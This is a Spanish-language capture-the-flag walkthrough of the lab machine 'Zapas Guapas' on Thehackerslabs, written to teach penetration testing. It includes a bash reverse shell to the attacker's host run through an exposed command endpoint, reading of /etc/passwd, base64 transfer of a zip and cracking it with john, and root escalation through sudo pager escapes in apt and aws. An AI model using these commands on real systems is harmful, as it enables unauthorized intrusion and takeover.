Zapas Guapas es una de las maquinas existentes actualmente en la plataforma de hacking Thehackerslabs y es de dificultad Avanzado.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la ip que tiene la maquina a vulnerar, que en mi caso será la 192.168.0.14
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 192.168.0.14 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 14:27 CEST Initiating ARP Ping Scan at 14:27 Scanning 192.168.0.14 [1 port] Completed ARP Ping Scan at 14:27, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 14:27 Scanning 192.168.0.14 [65535 ports] Discovered open port 22/tcp on 192.168.0.14 Discovered open port 80/tcp on 192.168.0.14 Completed SYN Stealth Scan at 14:27, 1.28s elapsed (65535 total ports) Nmap scan report for 192.168.0.14 Host is up, received arp-response (0.00013s latency). Scanned at 2024-04-24 14:27:56 CEST for 1s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:55:A8:91 (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.46 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 192.168.0.14 Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-24 14:29 CEST Nmap scan report for 192.168.0.14 Host is up (0.00056s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA) |_ 256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Zapasguapas |_http-server-header: Apache/2.4.57 (Debian) MAC Address: 08:00:27:55:A8:91 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.95 seconds |
Vemos la web pero nada nos resulta interesante

Así que vamos a ver que sacamos fuzzeando
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://192.168.0.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.1 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.0.14 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.1 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [html, php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 9l 28w 313c http://192.168.0.14/images => http://192.168.0.14/images/ 200 GET 172l 463w 8587c http://192.168.0.14/testimonial.html 200 GET 69l 187w 1987c http://192.168.0.14/air_max_plus.php 200 GET 157l 426w 7694c http://192.168.0.14/contact.html 200 GET 5l 478w 45479c http://192.168.0.14/js/jquery.mCustomScrollbar.concat.min.js 200 GET 6l 73w 3248c http://192.168.0.14/css/owl.carousel.min.css 200 GET 4l 46w 1841c http://192.168.0.14/images/mail-icon.png 200 GET 5l 49w 1665c http://192.168.0.14/images/map-icon.png 200 GET 273l 809w 14085c http://192.168.0.14/index.html 200 GET 3l 49w 1685c http://192.168.0.14/images/call-icon.png 200 GET 7l 54w 1752c http://192.168.0.14/images/twitter-icon.png 200 GET 76l 141w 1134c http://192.168.0.14/styles.css 200 GET 4l 44w 1752c http://192.168.0.14/images/youtub-icon.png 500 GET 0l 0w 0c http://192.168.0.14/run_command.php 200 GET 49l 163w 2090c http://192.168.0.14/login.html |
Tras revisar algunos phps, toca el turno de login.html el cual a priori no vemos nada

Pero si miramos el codigo…

Esto viene a decir que si accedemos a run_command.php con parametros username y password, este ultimo hará que se ejecute lo que le pasemos, probemos.

Por comodidad, intentamos subir algo pero no funciona… veamos porque.

Todo es de root y no podemos escribir ahí, así que no nos queda otra opción mas que ejecutarlo al vuelo.
Creamos un shell.sh con la siguiente instrucción
|
1 2 |
└─$ cat shell.sh /bin/bash -i >& /dev/tcp/192.168.0.160/5555 0>&1 |
Levantando un http con python y poniéndonos en escucha con netcat, entablamos una reverse shell

Y somos www-data
|
1 2 3 4 5 6 7 8 |
──(root㉿kali)-[/home/kali] └─# nc -nvlp 5555 listening on [any] 5555 ... connect to [192.168.0.160] from (UNKNOWN) [192.168.0.14] 39604 bash: cannot set terminal process group (492): Inappropriate ioctl for device bash: no job control in this shell bash-5.2$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) |
Vemos que tenemos dos usuarios en el sistema para que posiblemente podamos hacer un movimiento lateral.
|
1 2 3 4 5 |
bash-5.2$ cat /etc/passwd | grep sh$ root:x:0:0:root:/root:/bin/bash test:x:1000:1000:test,,,:/home/test:/bin/bash proadidas:x:1001:1001::/home/proadidas:/bin/bash pronike:x:1002:1002::/home/pronike:/bin/bash |
Asi que vamos a inspeccionar los home de los usuarios
|
1 2 3 4 5 6 |
bash-5.2$ cd /home/pronike/ bash-5.2$ ls -ltr total 4 -rw-r--r-- 1 pronike pronike 58 Apr 23 09:47 nota.txt bash-5.2$ cat nota.txt Creo que proadidas esta detras del robo de mi contraseña |
Hacemos una primera donde de investigacion y vemos que nos han dejado un «regalo» en /opt
|
1 2 3 |
bash-5.2$ cd /opt/;ls -l total 4 -rw-r--r-- 1 proadidas proadidas 266 Apr 23 09:35 importante.zip |
Sera al fichero importante.zip el path para escalar al usuario? Nos lo pasamos a nuestro equipo por base64 o levantando con python un servidor http.
|
1 2 |
bash-5.2$ base64 -w0 importante.zip ;echo UEsDBBQAC.............x |
En nuestro equipo lo convertimos al fichero importante.zip de nuevo.
|
1 2 |
┌──(kali㉿kali)-[~/importan] └─$ echo "UE.......x" |base64 -d -w0 > importante.zip |
Intentamos descomprimir el fichero importante.zip pero tiene contraseña así que la intentaremos romper con john
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
┌──(kali㉿kali)-[~/importan] └─$ zip2john importante.zip > hash ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type= ┌──(kali㉿kali)-[~/importan] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Created directory: /home/kali/.john Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status hotstuff (importante.zip/password.txt) 1g 0:00:00:00 DONE (2024-04-24 14:47) 50.00g/s 204800p/s 204800c/s 204800C/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Ahora si, descomprimimos y leemos el contenido.. parece que encontramos la contraseña del usuario pronike
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
┌──(kali㉿kali)-[~/importan] └─$ 7z x importante.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (806EC),ASM,AES-NI) Scanning the drive for archives: 1 file, 266 bytes (1 KiB) Extracting archive: importante.zip -- Path = importante.zip Type = zip Physical Size = 266 Enter password (will not be echoed): Everything is Ok Size: 71 Compressed: 266 ┌──(kali㉿kali)-[~/importan] └─$ cat password.txt He conseguido la contraseña de pronike. Adidas FOREVER!!!! pronike11 |
Conectamos por ssh como el usuario pronike
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
┌──(kali㉿kali)-[~] └─$ ssh pronike@192.168.0.14 pronike@192.168.0.14's password: Linux zapasguapas 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Apr 23 14:58:38 2024 from 192.168.0.160 -bash-5.2$ |
Probamos suerte a poder ejecutar un binario como alguien
|
1 2 3 4 5 6 |
-bash-5.2$ sudo -l Matching Defaults entries for pronike on zapasguapas: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User pronike may run the following commands on zapasguapas: (proadidas) NOPASSWD: /usr/bin/apt |
Escalamos hacia el usuario proadidas
|
1 2 3 |
-bash-5.2$ sudo -u proadidas /usr/bin/apt changelog apt !/bin/bash |
Siendo el usuario proadidas, hacemos lo mismo, ver si podemos ejecutar algún binario como root?
|
1 2 3 4 5 6 7 8 |
bash-5.2$ whoami;sudo -l proadidas Matching Defaults entries for proadidas on zapasguapas: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User proadidas may run the following commands on zapasguapas: (proadidas) NOPASSWD: /usr/bin/apt (root) NOPASSWD: /usr/bin/aws |
Y finalmente podemos ejecutar aws que será el mismo tipo de escalada que con apt, abusando de la ayuda para inyectar un comando, en este caso el spawneo de la shell.
|
1 2 3 4 5 6 7 |
bash-5.2$ sudo /usr/bin/aws help !/bin/bash root@zapasguapas:/home/proadidas# root@zapasguapas:/home/proadidas# cat user.txt /root/root.txt f3e4 8248 |
Hasta aquí la maquina Zapas Guapas de la plataforma Thehackerslabs









